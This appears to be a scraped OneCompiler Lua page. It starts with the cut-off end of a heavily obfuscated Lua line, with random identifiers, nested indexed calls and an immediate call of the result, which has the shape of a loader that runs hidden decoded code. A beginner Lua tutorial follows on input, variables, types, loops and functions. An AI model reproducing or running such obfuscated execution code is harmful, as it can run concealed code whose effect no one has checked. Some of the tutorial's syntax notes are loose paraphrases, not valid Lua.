XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[4]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[5]](ByntiRCPvuNfqYQrgIIYvUOKpynduQIkxOVahYdAJWlZeBlNVJKUviRFVcmkwAcnapsjWz))() end)
Write, Run & Share Lua code online using OneCompiler's Lua online compiler for free. It's one of the robust, feature-rich online compilers for Lua language, running the latest Lua version 5.4. Getting started with the OneCompiler's Lua editor is easy and fast. The editor shows sample boilerplate code when you choose language as Lua and start coding.
OneCompiler's Lua online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample Lua program which takes name as input and prints hello message with your name.
name = io.read("*a")
print ("Hello ", name)
Lua is a light weight embeddable scripting language which is built on top of C. It is used in almost all kind of applications like games, web applications, mobile applications, image processing etc. It's a very powerful, fast, easy to learn, open-source scripting language.
-- global variables
a = 10
-- local variables
local x = 30
Value Type | Description |
---|---|
number | Represents numbers |
string | Represents text |
nil | Differentiates values whether it has data or not |
boolean | Value can be either true or false |
function | Represents a sub-routine |
userdata | Represents arbitary C data |
thread | Represents independent threads of execution. |
table | Can hold any value except nil |
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while(condition)
do
--code
end
Repeat-Until is also used to iterate a set of statements based on a condition. It is very similar to Do-While, it is mostly used when you need to execute the statements atleast once.
repeat
--code
until( condition )
For loop is used to iterate a set of statements based on a condition.
for init,max/min value, increment
do
--code
end
Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increase re-usuability and modularity.
optional_function_scope function function_name( argument1, argument2, argument3........, argumentn)
--code
return params with comma seperated
end